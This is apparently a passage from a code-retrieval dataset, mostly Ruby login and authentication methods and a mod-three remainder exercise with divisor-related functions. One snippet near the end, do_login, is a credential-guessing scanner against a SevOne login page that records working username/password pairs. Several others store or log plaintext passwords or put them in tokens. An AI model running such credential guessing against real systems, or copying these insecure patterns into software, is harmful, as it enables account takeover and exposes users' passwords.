User.where(login:login,password:password,user_type:type).first\n if user.nil?\n render :json => { login:false , error: 'Invalid credentials' }\n return\n else\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n render :json => { login:true , token: token , admin:user.admin , user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end\n if type == :ldap\n sing_in_ldap({login:login, password:password})\n\n end\n end", "def login\n\n end", "def login\n\n end", "def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end", "def login\n response = client.call :login, :message => { :username => username, :password => password }\n response.body[:login_response][:result]\n end", "def login!\n connect! unless connected?\n @auth_header = @connection.head(@url.path)\n end", "def login #i guess with an iPhone app you never really have to log in because your app \n\t\t\t #maintains state and logins in at every call\n\t\t#@user = \"if you can see this you called the login action\"\n\t\t#render :json => @user\n\t\trender \"login\"\n\tend", "def login\n \n user = User.find_by(username: params[:username])\n if user\n if user.authenticate(params[:password])\n render json: user.to_json(serialized_data)\n else\n render json: {\n error: true,\n message: \"Incorrect User or password!\"\n }, status: :unauthorized\n end\n else\n render json: {\n error: true,\n message: \"Incorrect User or password!\"\n }, status: :payment_required\n end\n end", "def initialize\n login = self.read_login_data\n @base_url = login['base_url']\n @user = login['user']\n @password = login['password']\n end", "def get_login_response( server_url, user_email, password )\n a = Mechanize.new\n begin\n page = a.get(\"http://#{server_url}/api/v1/sessions/create?user_password=#{ CGI::escape(password) }&user_email=#{ CGI::escape(user_email) }\")\n JSON.parse(page.body)\n rescue\n puts $!\n end\n end", "def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end", "def login\n mandatory_keys = [:app_id, :user_name, :password, :sign]\n if params.slice(*mandatory_keys).values.any?(&:nil?)\n render json: to_response('Some params are lost') and return\n elsif @service_provider.nil?\n render json: to_response('ServiceProvider error') and return\n elsif not CommonUtils.valid_sign?(params[:app_id], params[:user_name], params[:password], @service_provider.credential, params[:sign])\n render json: to_response('Invalid request: parameter error') and return\n end\n\n user = User.find_by_user_name(params[:user_name])\n if user && user.authenticate(params[:password])\n render json: (user.invalid_role? ? to_response('User needs to be activated') : to_response('success', user))\n elsif user.nil?\n render to_response \"User not exist:#{params[:user_name]}\"\n else\n render to_response 'Password error'\n end\n end", "def login \n render json: User.first\n end", "def login\n\n if params[:username] && params[:token]\n @user = token_based_login\n end\n\n if @user\n set_session_headers\n render json: { username: @user.username, auth_token: get_md5_digest(params[:username]), logged_in: true }\n else\n render json: { logged_in: false }, status: 401\n end\n end", "def login\n user = User.find_by(username: user_params[:username])\n if user && user.authenticate(user_params[:password])\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: \"Wrong Username or Password!\"}\n end\n end", "def auth(cl)\n\t\tuser = cl.find_by_login(params[:login])\n\t\tif user.try(:authenticate, params[:pass])\n\t\t\tres payload(user)\n\t\telse\n\t\t\terr 'invalid_credentials', 'Invalid Username/Password', :unauthorized\n\t\tend\n\tend", "def api_login\n creator = Creator.find_by(name: request.headers['name'])\n if creator && creator.authenticate(request.headers['password'])\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n selected_format({ error: 'Invalid username or password' },:unauthorized)\n end\n end", "def login\n capture_session(self.class.post( \"/api/login\", {:body => {:user => @user, :passwd => @password, :api_type => 'json'}, :debug_output => @debug} ) )\n logged_in?\n end", "def login\n response = @session.create\n @auth_token = response[\"token\"]\n @rest.default_headers = { 'Content-Type' => 'application/json', 'Auth-Token' => @auth_token }\n response\n end", "def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end", "def login\n puts '--- LOGIN ---'\n puts username: params[:user][:username]\n puts password: params[:user][:password]\n # = 'escape'\n user = User.find_by(username: params[:user][:username])\n if user && user.authenticate(params[:user][:password])\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n else\n render json: {status: 401, message: \"Unauthorized - Login\"}\n end\n end", "def login\n make_login_call\n end", "def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end", "def authentication\n {:username => @username, :password => @password}\n end", "def login\n if @user\n render_json 'Signed in Successfully', true, @user, :ok, [:api_v1, user]\n else\n render_json 'Unable to Signed in: wrong email or password', false, {}, :unauthorized\n end\n end", "def login\n user = User.last\n login!(user)\n ses = session[:session_token]\n render json: {\"ses\": ses}\n end", "def login\n @login ||= begin\n client.user.login\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n nil\n end\n end", "def request_login(http)\r\n login_post = construct_login_request\r\n login_response = http.request(login_post)\r\n logger.debug \"Login response: #{login_response.code}, Message: #{login_response.message}, Body: #{login_response.body}\"\r\n\r\n if login_response.code == '200'\r\n logger.debug 'Successfully logged in.'\r\n\r\n json_resp = JSON.parse(login_response.body)\r\n json_resp['auth_token']\r\n else\r\n logger.debug 'Failed log in.'\r\n nil\r\n end\r\n end", "def login(args = { })\n # POST /svc/Login\n # Host: eval.parkmedia.tv\n # Content-type: application/x-www-form-urlencoded\n # Content-length: 25\n #\n # username=foo&password=bar\n\n # ERROR RESPONSE\n # --------------\n # HTTP/1.0 403 Access Forbidden\n # Content-type: text/plain\n #\n # Error=BadAuthentication\n\n # SUCCESS RESPONSE\n # ----------------\n # HTTP/1.0 200 OK\n # Content-type: text/plain\n # Set-Cookie: JSESSIONID=123456789\n #\n # JSESSIONID=123456789\n\n self.http_cookie = nil\n data = { }\n\n username = args[:username]\n password = args[:password]\n\n data['password'] = password if password\n data['username'] = username if username\n\n #logger.debug { \"Logging In As User: '#{username}' Using Password: #{password ? 'yes' : 'no'}\" }\n http_post_form('Login', data)\n self.http_cookie = response['set-cookie'] if response and response.code == '200'\n http_cookie\n end", "def login\n\tend", "def login\n @user = User.find_by_username(params[:username])\n if @user&.authenticate(params[:password])\n token = JsonWebToken.encode(id: @user.id)\n time = Time.now #+ 24.hours.to_i\n render json: { token: token, last_login_time: time.strftime(\"%m-%d-%Y %H:%M\"),\n user: @user}, status: :ok\n # comment: @user.comment şu şekilde diğerleride çağrılabilir.\n else\n render json: { error: 'Login Unsuccessfull(Invalid username / password)' }, status: :unauthorized\n end\n end", "def authenticate\n nick, auth_token = AuthenticateNick.new(auth_params[:name], request).call\n response = { message: \"Logged in\", nick: nick.name, auth_token: auth_token }\n json_response(response, :created)\n end", "def login\n # Clean this code\n @username = User.find_by username:params['username']\n @email = User.find_by email:params['email']\n if @username\n @username.authenticate(params['password']) ? (render json: @username) : (render :json => {:error => \"Unauthorized\"}.to_json, :status => 401)\n elsif @email\n render json: @email\n else\n set_user_from_facebook\n @user = User.new(user_params)\n @user.token = Digest::MD5.hexdigest(params[:token])\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end\n end", "def sing_in_ldap(args)\n login = args[:login]\n password = args[:password]\n ldap = User.ldapCheckUser({login:login, password:password})\n if ldap[:bind] == false\n render :json => { login: false , error:ldap[:error]}\n return\n else\n userObj = {login:login , user_type: :ldap}\n user = User.where(userObj).first_or_create\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n\n render :json => { login: true , token: token , admin: user.admin, user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end", "def login\n user = User.find_by(username: user_params[:username])\n if user && user.authenticate(user_params[:password])\n\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: {errors: 'Please enter the correct username and/or password'}, status: :unauthorized\n end\n end", "def autologin\n token = request.headers['Authorization']\n user_id = JWT.decode(token, 'secret')[0][\"userId\"]\n user = User.find(user_id)\n render json: user.user_information\n end", "def user_login\n @retval = Hash.new()\n unless params[:username].blank?\n unless params[:password].blank? #check for username and password input\n @hmm_user = HmmUser.find(:first,:conditions=>{:v_user_name=>params[:username],:v_password=>params[:password],:e_user_status=>'unblocked'},:select=>'id')\n if(@hmm_user)\n @retval['hmm_user_id'] = @hmm_user.id\n @retval['status'] = true\n else\n @retval['message'] = 'invalid login details'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'password is required'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'username is required'\n @retval['status'] = false\n end\n render :xml => @retval.to_xml({:root=>'response',:dasherize =>false})\n end", "def auth\n response = Pusher[params[:channel_name]].authenticate(params[:socket_id], {\n :user_id => current_user.id,\n :user_info => {\n :name => current_user.name\n }\n })\n render :json => response\n end", "def log_in\n authentication = true\n while authentication\n @username = @@prompt.ask(\"Please enter your username:\")\n @password = @@prompt.mask(\"Please enter your password\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n user = {}\n user[@username] = @password\n file = File.read('./test_2.json')\n data_hash = JSON.parse(file)\n if data_hash == user\n authentication = false\n system(\"clear\")\n puts \"Welcome back #{@username}\".colorize(:cyan)\n keypress = @@prompt.keypress(\"Press any key to continue\")\n system(\"clear\")\n break\n else\n puts \"this account hasn't exist, please try again.\"\n authentication = true\n end\n end\n end", "def returning_user\n system('clear')\n File.open(userdata, 'w') { |f| f.write([].to_json) } unless File.exist?(userdata)\n puts 'Welcome back! Please login to continue.'.colorize(:light_green)\n username = @prompt.ask('Username >')\n user_password = @prompt.mask('Password >')\n authenticate(username, user_password)\n end", "def web_login\n\t\temployee = Employee.find(params[:IDnum].to_i)\n if employee && employee.authenticate(params[:password])\n if employee.status = \"Active\"\n \tlog_in employee\n \t\tmsg = { :status => \"Success\", :key => params[:key] }\n \t\trender :json => msg, status: :accepted\n else\n msg = { :status => \"ERROR\", :message => \"App access not granted. Please try again later or contact Human Resources.\" }\n render :json => msg, status: :forbidden\n end\n else\n msg = { :status => \"ERROR\", :message => \"Invalid ID number and password combination\" }\n render :json => msg, status: :forbidden\n end\n\tend", "def login\n @rest.headers[:content_type] = \"application/json\"\n\n response = api_request { @rest[\"login\"].post({:username => @username, :password => @password}) }\n\n @rest.headers[:x_opsview_token] = response[:token]\n @rest.headers[:x_opsview_username] = @username\n\n response\n end", "def login\n debug 'Trying to login'\n _response = self.signed_request '/api/v1/login', 'POST', {\n user: $config.get_username,\n password: $config.get_password\n }\n\n if _response['status'] != 'success'\n puts 'Unable to login!'\n exit 1\n else\n debug 'Signed in successfully'\n end\n\n @auth_token = _response['data']['authToken']\n @user_id = _response['data']['userId']\n end", "def handle_login(u)\n session[:person] = u.id\n end", "def temp_auth\n response = get \"authenticate/#{config['lims_default_user']}/#{config['lims_default_password']}\"\n\n @connection = OpenStruct.new(user: config['lims_default_user'], token: response['token'])\n end", "def mob_login\n token_manager = API::Concerns::TokenManager.new(params[:email], params[:password], params[:access_token])\n current_user = token_manager.current_user\n if !current_user.nil?\n render json: JSON.parse(current_user.to_json).except('id', 'password', 'pass_salt', 'updated_at')\n else\n render json: JSON.parse(token_manager.token.to_json)\n end\n end", "def login\n #puts \"logging in with: \"+self.password\n begin\n response = self.pclient.request :login do\n #soap.body = { :username => self.username, :password => self.password }\n soap.body = '<ins0:username>'+self.username+'</ins0:username><ins0:password>'+self.password+'</ins0:password>'\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n # TODO: handle incorrect password gracefully\n # if fault.to_s.include? \"INVALID_LOGIN\"\n # self.password = TextMate::UI.request_secure_string(\n # :title => \"MavensMate\", \n # :prompt => 'Your login attempt failed. Please re-enter your password',\n # :button2 => 'Cancel'\n # )\n # TextMate.exit_discard if self.password == nil\n # is_retry = true\n # login\n # else\n # raise Exception.new(fault.to_s)\n # end \n end\n \n # if is_retry == true\n # MavensMate.add_to_keychain(MavensMate.get_project_name, self.password)\n # end \n \n begin\n res = response.to_hash\n self.metadata_server_url = res[:login_response][:result][:metadata_server_url]\n self.sid = res[:login_response][:result][:session_id].to_s\n self.user_id = res[:login_response][:result][:user_id].to_s\n self.pclient.wsdl.endpoint = res[:login_response][:result][:server_url] \n rescue Exception => e\n #puts e.message \n end\n end", "def login_api\n @user = User.find_for_database_authentication({:username => params[:username].downcase})\n\n if ([email protected]?)\n if ([email protected]_password?(params[:password]))\n @user = nil\n end\n end\n\n if (@user.nil?)\n @user = User.find_by_auth_token(params[:auth_token]) unless params[:auth_token].nil?\n else\n @user.generate_auth_token\n end\n\n if @user.nil?\n # Do nothing\n error \"Your username or password was incorrect.\"\n else\n render json: @user\n end\n end", "def login_api\n @user = User.find_for_database_authentication({:username => params[:username].downcase})\n\n if ([email protected]?)\n if ([email protected]_password?(params[:password]))\n @user = nil\n end\n end\n\n if (@user.nil?)\n @user = User.find_by_auth_token(params[:auth_token]) unless params[:auth_token].nil?\n else\n @user.generate_auth_token\n end\n\n if @user.nil?\n # Do nothing\n error \"Your username or password was incorrect.\"\n else\n render json: @user\n end\n end", "def login(args)\n return self.request(:c => :user, :a => :login, :username => args[:username], :password => args[:password])\n end", "def login\n user = User.find_by(username: auth_params[:username])\n if user && user.authenticate(auth_params[:password])\n payload = {user_id: user.id}\n token = encode_token(payload)\n render json: {jwt: token, userid: user.id, admin: user.admin}\n else\n render json: {failure: \"login failed\"}\n end\n end", "def attemp_login\n login = params[:email_or_phone]\n password = params[:password]\n\n unless !(login.present? && password.present?)\n #on recherche le customer\n @customer = Customer.find_by_phone(login)\n if @customer.blank?\n respond_to do |format|\n format.json {}\n format.html {render :signing, notice: \"Impossible de trouver #{login}\"}\n end\n else\n if @customer.valid_password?(password)\n session[:customer] = @customer.authentication_token\n respond_to do |format|\n format.html { redirect_to client_index_path(user: @customer.hand), notice: \"Logged in as #{@customer.phone}\"}\n end\n else\n respond_to do |format|\n format.html {redirect_to client_signing_path, notice: \"Utilisateur inconnu\"}\n end\n end\n end\n end\n end", "def authenticate\n json_response(\n auth_token: AuthenticateUser.new(\n auth_params[:username],\n auth_params[:password]\n ).call\n )\n end", "def login\n session[:id] = nil\n if request.post?\n\t\t\tperson = Person.find_by_login_and_password(params[:login], params[:password])\n if person\n \tsession[:id] = person.id\n\t\t\t\tsession[:firstname] = person.firstname\n\t\t\t\tsession[:name] = person.name\n session[:login] = person.login\n session[:password] = person.password\n \n\t\t\t\trespond_to do |format|\n\t\t\t\t\tflash[:notice] = \"Authentication is successful !\"\n format.html { redirect_to(posts_path) }\n \t\tformat.json { render :json => @person} \t\t\t\n\t\t\t\t\tformat.js\n\t\t\t\tend \n else\n person = nil\n params[:password] = nil\n\n respond_to do |format|\n\t\t\t\t\tflash[:error] = \"Authentication error !\"\n \tformat.html { redirect_to(posts_path) }\n \tformat.json { render :json => @person.errors } \t\t\t\n\t\t\t\t\tformat.js\n\t\t\t\tend\n end\n end\n end", "def login\n puts \"Login successfull\"\n end", "def capable_login_auth?; end", "def authenticate(req, res)\n unless basic_credentials = check_scheme(req)\n challenge(req, res)\n end\n userid, password = basic_credentials.unpack(\"m*\")[0].split(\":\", 2)\n password ||= \"\"\n if userid.empty?\n error(\"user id was not given.\")\n challenge(req, res)\n end\n\n unless ::Device.find_by(proxy_login: userid)\n error(\"%s: the user is not allowed.\", userid)\n challenge(req, res)\n end\n\n $device = ::Device.find_by(proxy_login: userid, proxy_password: password)\n if not $device\n error(\"%s: password unmatch.\", userid)\n challenge(req, res)\n end\n\n info(\"%s: authentication succeeded.\", userid)\n\n req.user = userid\n end", "def userlogin(req)\n\tbasica = request.env[\"HTTP_AUTHORIZATION\"].to_s.split(\"Basic \")\n\tbasicas = basica[1].to_s\n\tauthdata = (Base64.decode64(basica.to_s)).split(':')\n\tusername = authdata[0].to_s\n\tpass = authdata[1].to_s\n\tputs \"Usuario: #{username}\"\n\tputs \"Password: #{pass}\"\n\tu = User.where(email:username,password:pass).take\n\tsession[:username] = username\n\treturn u\nend", "def authenticate\n authenticated_user = AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n response = { message: Message.logged_in, auth_token: authenticated_user[:auth_token], is_doctor: authenticated_user[:is_doctor], doctor_id: authenticated_user[:doctor_id], fullname: authenticated_user[:fullname], date_of_birth: authenticated_user[:date_of_birth] }\n json_response(response)\n end", "def test_login\n if @auth!='' then\n result = do_request(json_obj('user.checkauth',\n {'sessionid'=>@auth}))\n if !result['result'] then\n @auth=''\n return false #auth hash bad\n end\n return true #auth hash good\n else\n return false\n end\n end", "def login\n self.login\n end", "def authenticate\n #Hace el llamado de la clase AuthenticaUser, manda los parametros de :username y :password\n #Realiza el metodo call para obtener el Token del user_id\n #Arroja el token como Json_response\n auth_token = AuthenticateUser.new(auth_params[:username], auth_params[:password]).call \n json_response(auth_token: auth_token)\n end", "def auth\n { \"username\" => @username }\n end", "def do_login(user, pass)\n vprint_status(\"#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'\")\n begin\n res = send_request_cgi(\n {\n 'uri' => \"/doms/login/processLogin.php\",\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'login' => user,\n 'passwd' => pass,\n 'tzOffset' => '-25200',\n 'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'\n }\n })\n\n if res.nil?\n print_error(\"#{rhost}:#{rport} - Connection timed out\")\n return :abort\n end\n\n check_key = \"The user has logged in successfully.\"\n\n key = JSON.parse(res.body)[\"statusString\"]\n\n if (not res or key != \"#{check_key}\")\n vprint_error(\"#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}\")\n return :skip_pass\n else\n print_good(\"#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'\")\n report_cred(\n ip: rhost,\n port: rport,\n service_name: 'SevOne Network Performance Management System Application',\n user: user,\n password: pass,\n proof: key\n )\n return :next_user\n end\n\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n print_error(\"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n return :abort\n end\n end" ]
[ "0.68455595", "0.68399125", "0.6751915", "0.6710356", "0.6657797", "0.66009593", "0.65896714", "0.6581137", "0.65792584", "0.65792584", "0.6564972", "0.6541456", "0.6511882", "0.6477313", "0.6458868", "0.64472103", "0.64329714", "0.642486", "0.639115", "0.6383144", "0.63580984", "0.63534385", "0.63534385", "0.6312347", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.63061184", "0.6288548", "0.6286463", "0.62784314", "0.6263819", "0.62559325", "0.62559325", "0.62447023", "0.6244152", "0.6244091", "0.62405306", "0.62189066", "0.6189346", "0.61825657", "0.61803806", "0.61794573", "0.6170181", "0.61598337", "0.6148495", "0.6127766", "0.6127566", "0.6126512", "0.6117587", "0.6111165", "0.60859257", "0.60843563", "0.6081189", "0.60633445", "0.60581297", "0.605331", "0.6052558", "0.6051565", "0.60494906", "0.6032397", "0.6029156", "0.60282046", "0.6005029", "0.60024637", "0.5996225", "0.5979644", "0.59781295", "0.5973499", "0.5970847", "0.595943", "0.59562194", "0.59506303", "0.59463334", "0.59438497", "0.5938399", "0.5935971", "0.5934094", "0.5933303", "0.5933303", "0.59316266", "0.5923688", "0.5919999", "0.59168744", "0.5914675", "0.59075356", "0.59019053", "0.58932936", "0.5883204", "0.5882493", "0.58767045", "0.58703464", "0.5857936", "0.5853643", "0.5849606" ]
0.6284646
35
and return a new array consisting of their remainder when divided by three. Exclude any numbers which are actually dividible by three. EXAMPLES: mod_three [0] => [] mod_three [1] => [1] mod_three [2] => [2] mod_three [3] => [] mod_three [4] => [1] mod_three [5] => [2] mod_three [6] => [] mod_three [7] => [1] mod_three [0,1,2,3,4,5,6,7] => [1, 2, 1, 2, 1]
def mod_three(numbers) numbers.map { |number| number % 3 }.select { |number| number % 3 != 0 } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mod_three(array)\n newarr = []\n\n array.each do |number|\n if number % 3 != 0 # if number divided by three = 0...\n newarr << (number % 3) # Add the remainder of the number divided by three!\n end\n end\n newarr\nend", "def mod_three my_array\n\t@my_array = my_array\n\tto_return = []\n\tto_return = @my_array.map { |nr| nr % 3 }\n\tto_return = to_return.reject { |nr| nr == 0 }\n\tp to_return\nend", "def mod_three(array)\n array.reject {|x| x if x%3==0 }.map {|x| x=x%3}\nend", "def mod_three(arr)\n\tarr.select {|x| x % 3 != 0}.map {|x| x % 3}\nend", "def reject_not_div3(numbers)\n numbers.reject { |e| !(e % 3).zero? } # rubocop:disable Style/InverseMethods\nend", "def remove_even array\n no_even_array = []\n array.each do |number|\n if number % 3 != 0\n no_even_array.push(number)\n end\n end\n no_even_array\nend", "def divisible\n\tarr = []\n\tfor x in 1..101 do\n\t\tif x % 2 == 0 || x % 3 == 0 || x % 5 == 0\n\t\t\tarr << x\n\t\tend\n\tend\n\treturn arr\nend", "def arrayDivisible(n)\n not_factors = []\n numbers_to_check = remove_factors(n)\n\n index1 = 0\n index2 = 1\n\n puts \"index1: #{index1}, index2: #{index2}, array: #{numbers_to_check}\"\n #binding.pry\n\n while index1 <= range_length\n\n while index2 <= range_length\n if numbers_to_check[index2] % numbers_to_check[index1] != 0\n puts \"num1: #{numbers_to_check[index1]}, num2: #{numbers_to_check[index2]}, array: #{numbers_to_check}\"\n not_factors << numbers_to_check[index2]\n puts \"New array: #{not_factors}\"\n puts nil\n end\n index2 += 1\n end\n index1 += 1\n end\n\n not_factors\n\nend", "def divisible_by(numbers, divisor)\n arr = []\n numbers.each do |x|\n if (x % divisor) == 0\n x >> arr\n end\n end \n return arr\nend", "def divisible_by(numbers, divisor)\n\n # Create new array to store our results in\n divide_array = []\n\n # Iterate through our set of given numbers, and determine whether each number\n # being passed in has a remainder of 0 after being divided by our given divisor\n numbers.each do |el|\n if el % divisor == 0\n\n # If our if statement evaluates to true, then append that number onto our new array\n # divide_array\n divide_array << el\n end\n end\n\n # Return array containing all elements divided evenly by our divisor\n divide_array\nend", "def numbers_divisible_filter(numbers, dividers)\n numbers.map do |number|\n number_divisible_filter(number, dividers)\n end\nend", "def find_multiples(integer)\n arr = (1..integer).to_a\n multiples = []\n\n arr.each do |val|\n if (val % 3).zero? || (val % 5).zero?\n multiples.push(val) # mutates original array\n end\n end\n multiples\nend", "def all_number_divisible_with_inject arr\n arr.inject(true) do |memo, num|\n memo && num%3 == 0\n end\nend", "def divisible_by_5_and_3\n numbers = (1..100).to_a # this will create an array from 1 to 100. Check the Range class from Ruby - https://ruby-doc.org/core-2.5.1/Range.html\nend", "def reject_arr(arr)\n # reject all elements which are divisible by 3\n arr.reject { |x| x%3 ==0 }\n end", "def collect_multiples(number)\n \n numbers = Array.new(number - 1, 0)\n count = 0\n while count < numbers.length \n numbers[count] = count + 1\n count += 1\n end\n\n numbers.select do |element|\n element % 3 == 0 || element % 5 == 0\n end\n\nend", "def proper_divs(num)\n puts num\n divs = []\n (1...num).each do |x|\n divs << x if num%x == 0\n end\n return divs\nend", "def has_divisible_with_inject arr\n arr.inject(false) do |has, num|\n has || num%3 == 0\n end\nend", "def multiplos3(numeros_p)\n resultado = numeros_p.select { |n|\n n %3 == 0\n }\nend", "def multiples_array(integer)\n multiples = []\n for i in 1..integer\n if i % 3 == 0 || i % 5 == 0\n multiples << i\n end\n end\n multiples\nend", "def multiplos3(numeros_p)\r\n resultado = numeros_p.select { |n|\r\n n %3 == 0\r\n }\r\nend", "def get_divisors(number)\n\tresult = []\n\n \tfor counter in 1..number / 2\n \tresult.push(counter) if number % counter == 0\n \tend\n\n \tresult.push(number)\n \tresult\nend", "def all_elements_except_first_3(num_array)\n 3.times {\n num_array.shift\n }\n return num_array\nend", "def divisors(n)\n divs = []\n # NOT INCLUDING ITSELF\n (1...n).each do |i|\n if n % i == 0\n divs << i\n end\n end\n divs\nend", "def collect_multiples(limit)\n (1...limit).to_a.reject {|num| num unless num % 3 == 0 || num % 5 == 0}\nend", "def collect_multiples(num)\n range = (3...num)\n multiples = []\n range.each do |num|\n if num % 3 == 0 || num % 5 == 0\n multiples << num\n end\n end\n multiples\nend", "def collect_multiples(limit)\n array = []\n (1...limit).each do |num|\n array << num if (num % 3 == 0) || (num % 5 == 0)\n end\n array\nend", "def magic_array(array)\narray.flatten.reverse.map! {|i| i = i*2}.delete_if {|i| i.modulo(3) == 0}.uniq.sort\nend", "def number_divisible_filter(number, dividers)\n dividers.map { |divider| \n divisible?(number, divider)\n }\n end", "def multipleOf3(array)\n array.each do\n |n|\n puts \"#{n} est un multiple de 3\" if (n % 3 == 0)\n end\nend", "def no_modulo(i_dividend, i_divisor)\n a = i_dividend / i_divisor\n b = a * i_divisor\n c = i_dividend - b\nend", "def divisible_numbers(arr)\n n = arr.size\n (0...n).each do |x|\n a = arr[x]\n ((x+1)...n).each do |y|\n b = arr[y]\n z = [a,b].sort\n return z if z[1] % z[0] == 0\n end\n end\nend", "def reject_arr(arr)\n arr.reject{|x| x % 3 == 0}\nend", "def sort_divisible_numbers(array)\n divisible_numbers = []\n other_numbers = []\n\n array.each do |number|\n if divisible_by_five?(number)\n divisible_numbers << number\n else\n other_numbers << number\n end\n end\n\n return [divisible_numbers, other_numbers]\nend", "def collect_multiples(limit)\n multiples = []\n numbers = (1..limit.to_i-1).to_a\n numbers.each do |i|\n if i % 3 == 0 || i % 5 == 0\n multiples.push(i)\n end\n end\n multiples \nend", "def divisible_by_remaining_odd_numbers?(n)\n potential_divisors = (3..Math.sqrt(n)).step(2).to_a\n divisible = false\n potential_divisors.each do |x|\n if n % x != 0\n potential_divisors.delete_if { |y| y % x == 0 }\n else\n divisible = true\n potential_divisors = []\n end\n end\n\n divisible\n\nend", "def reject_arr(arr)\n arr.delete_if{ |a| a%3 == 0 }\nend", "def every_third(arr)\n new_arr = []\n arr.each_with_index do |letter, idx|\n new_arr.push(letter) if (idx + 1) % 3 == 0\n end\n new_arr\nend", "def multiples(number)\n number_array = Array(1..number)\n multiples_array = []\n\n number_array.each do |num|\n if num % 3 == 0 || num % 5 == 0\n multiples_array << num\n end\n end\n multiples_array.inject(:+)\nend", "def multiples num1, num2, divisor\n x = []\n (num1...num2).each do |i|\n if is_divisible i, divisor\n x << i\n end\n end\n x\n end", "def divisible_by_5_and_3\n numbers = (1..100).to_a # this will create an array from 1 to 100. Check the Range class from Ruby - https://ruby-doc.org/core-2.5.1/Range.html\n\n numbers.select { |number| number % 3 == 0 && number % 5 == 0 }\nend", "def remove_numbers(arr,n)\n arr.reject { |i| i % n == 0 }\nend", "def evenly_divisible_values(array)\n array.permutation(2)\n .select { |a, b| (a % b).zero? }\n .map { |a, b| a / b }\nend", "def collect_multiples(limit)\n #numbers = [1..(limit-1)]\n multiple_numbers = []\n (1..(limit-1)).map do |number|\n if number % 3 == 0 || number % 5 == 0\n multiple_numbers << number\n end\n end\n multiple_numbers\nend", "def gc_divisor(ints:[]) \n arr = []\n arr2 = []\n for i in ints \n arr << i \n end\n \n arr.each do |num|\n for i in (1..num)\n if (num % i == 0)\n arr2 << i\n end\n end\n end\n # positive \n #divides numbers without a remainder\n #largetst one of such number\n arr2.each\nend", "def divisible_by(numbers, divisor)\n numbers.select { |num| num % divisor == 0 }\nend", "def multiples(number)\n number_array = Array(1..number)\n multiples_array = []\n\n number_array.each do |num|\n if num % 3 == 0 || num % 5 == 0\n multiples_array << num\n end\n end\n multiples_array.sum\nend", "def drop(list, n)\n result = []\n list.each_index do |i| \n if i % n != n - 1 \n result << list[i] \n end \n end\n result\nend", "def can_be_divided_by_three(number)\n is_divisible_by_3 = number % 3\n is_divisible_by_3 == 0\nend", "def self_dividing_numbers(left, right)\n result_array = []\n\n (left..right).each do |i|\n arr = array_of_digits(i)\n\n self_dividing = true\n arr.length.times do |digit|\n if arr[digit] == 0\n self_dividing = false\n else\n self_dividing = false if i % arr[digit] != 0\n end\n end\n result_array << i if self_dividing\n end\n\n result_array\nend", "def crazy_nums(max)\n nums = [] # store result\n i = 0\n count = 0\n \n while i < max\n if(i % 3 == 0) && (i % 5 == 0)\n \n elsif (i % 3 == 0) || (i % 5 == 0)\n nums[count] = i\n count = count + 1\n end\n i = i + 1\n end\n return nums \nend", "def divisors(num)\n divisors = []\n 